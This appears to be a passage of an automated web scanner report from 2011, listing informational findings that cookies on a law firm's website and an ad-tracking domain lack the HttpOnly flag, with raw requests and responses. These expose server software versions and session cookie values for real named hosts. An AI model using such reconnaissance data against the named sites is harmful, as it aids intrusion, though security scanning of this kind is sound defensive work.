User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059

Response

15.93. http://www.bizographics.com/collect/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bizographics.com
Path:	/collect/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

BizoID=7ff7b0a0-bb8d-41b5-8312-89cdb15bb1c3; Domain=.bizographics.com; Expires=Sat, 12-Nov-2011 22:09:22 GMT; Path=/
BizoData=tQCU97PJisstp2k43HHMf49Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KYo5hnuk0JJGaj5XcunNcMDa7Re6IGD4lIVh8iiQkoK10Ad6xyMUDLG4HisD7PuAiisYPXoxU8ZPy3Exo4N71w46SKb0NrpeKvDEEAHRkUP4DRqV5iiQvIb66JyjE5cmLaumWulAJAT7BX2HrsROqwTV75bDCe4W2moTMN4isdjziiaqnDZEwnDMyxR1o4SE3xQyPhdhcTqO9nMoMLz1Ufz7IhFNdvz7ZkT79atQXGxxvra9g4U3CJ2wtdwM8iiVTP0Et7iiJPsiim5vOPNb1QJipLd4ekU1f7MrQxrTtB1Wxn268X1nippZxuFiiipNVtwB9MTZe7RE8fxtxX6WtcWGuKisYuwJC53f8ie; Domain=.bizographics.com; Expires=Sat, 12-Nov-2011 22:09:22 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.94. http://www.dinse.com/about_the_firm/Employment.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/Employment.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:55 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_the_firm/Employment.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/index.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.7.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:56 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:55 GMT; path=/
Content-Length: 26857

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - About the Firm - Employment Opportunities</title>
<
...[SNIP]...

15.95. http://www.dinse.com/about_the_firm/disclaimer.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/disclaimer.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:15 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_the_firm/disclaimer.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.1.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:16 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:15 GMT; path=/
Content-Length: 26153

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - About the Firm - Disclaimer</title>
<meta http-equi
...[SNIP]...

15.96. http://www.dinse.com/about_the_firm/history.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/history.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:15 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_the_firm/history.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.1.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:16 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:15 GMT; path=/
Content-Length: 31810

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - About the Firm - A Short History since 1917</title>
...[SNIP]...

15.97. http://www.dinse.com/about_the_firm/working_at_dinse.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/about_the_firm/working_at_dinse.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:45 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /about_the_firm/working_at_dinse.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/about_the_firm/Employment.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.8.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:32:46 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:45 GMT; path=/
Content-Length: 30374

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - About the Firm - Working at Dinse, Knapp, & McAndre
...[SNIP]...

15.98. http://www.dinse.com/attorneys.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:28 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /attorneys.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/about_the_firm/disclaimer.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.2.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:29 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:28 GMT; path=/
Content-Length: 28068

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Attorneys</title>
<meta http-equiv="Content-Type" c
...[SNIP]...

15.99. http://www.dinse.com/attorneys/knapp.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/knapp.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:45 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /attorneys/knapp.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/attorneys.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.5.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:46 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:45 GMT; path=/
Content-Length: 28709

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Attorneys - Spencer R. Knapp</title>
<meta http-equ
...[SNIP]...

15.100. http://www.dinse.com/attorneys/mckearin.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/mckearin.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:40 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /attorneys/mckearin.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/practice-areas/employment.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.17.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:33:40 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:40 GMT; path=/
Content-Length: 27930

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Attorneys - Robert R. McKearin</title>
<meta http-e
...[SNIP]...

15.101. http://www.dinse.com/attorneys/monahan.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/attorneys/monahan.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:39 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /attorneys/monahan.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/attorneys.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.3.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:39 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:39 GMT; path=/
Content-Length: 25816

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Attorneys - John D. Monahan Jr.</title>
<meta http-
...[SNIP]...

15.102. http://www.dinse.com/contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/contact.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:50 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contact.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/about_the_firm/working_at_dinse.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.9.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:32:51 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:50 GMT; path=/
Content-Length: 26455

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Contact</title>
<meta http-equiv="Content-Type" con
...[SNIP]...

15.103. http://www.dinse.com/contact/email.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/contact/email.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:53 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contact/email.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/contact.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.10.10.1305372616

Response

15.104. http://www.dinse.com/index.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/index.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:51 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/attorneys/knapp.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.6.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:30:52 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:30:51 GMT; path=/
Content-Length: 32293

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Burlington, Vermont Law Firm</title>
<meta http-equ
...[SNIP]...

15.105. http://www.dinse.com/news_events.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:31:36 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news_events.html HTTP/1.1
Host: www.dinse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utma=248673810.194431926.1305372616.1305372616.1305372616.1; LuxiteAuth=deleted; __utmc=248673810; __utmb=248673810.8.10.1305372616;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:31:37 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:31:36 GMT; path=/
Connection: close
Content-Length: 26111

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - News & Events - In the News</title>
<meta http-equi
...[SNIP]...

15.106. http://www.dinse.com/news_events/in_the_news.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events/in_the_news.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:21 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news_events/in_the_news.html?news_id=20586&year=2011&month=5 HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/news_events.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.15.10.1305372616

Response

15.107. http://www.dinse.com/news_events/in_the_news/20.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/news_events/in_the_news/20.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:50 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news_events/in_the_news/20.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/news_events.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.19.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:33:51 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:50 GMT; path=/
Content-Length: 26146

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - News & Events - In the News</title>
<meta http-equi
...[SNIP]...

15.108. http://www.dinse.com/practice-areas/employment.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/practice-areas/employment.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:33 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /practice-areas/employment.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
Referer: http://www.dinse.com/news_events/in_the_news.html?news_id=20586&year=2011&month=5
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2c27921b5d643a19418e2b71919dba6f; __utmz=248673810.1305372616.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=248673810.194431926.1305372616.1305372616.1305372616.1; __utmc=248673810; __utmb=248673810.16.10.1305372616

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:33:34 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: LuxiteAuth=deleted; expires=Friday, 14-May-10 11:33:33 GMT; path=/
Content-Length: 33968

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Dinse, Knapp & McAndrew - Client Service is our Highest Priority - Employment
...[SNIP]...

15.109. http://www.dinse.com/publications.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dinse.com
Path:	/publications.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

LuxiteAuth=deleted; expires=Friday, 14-May-10 11:32:57 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /publications.html HTTP/1.1
Host: www.dinse.com
Proxy-Connection: keep-alive
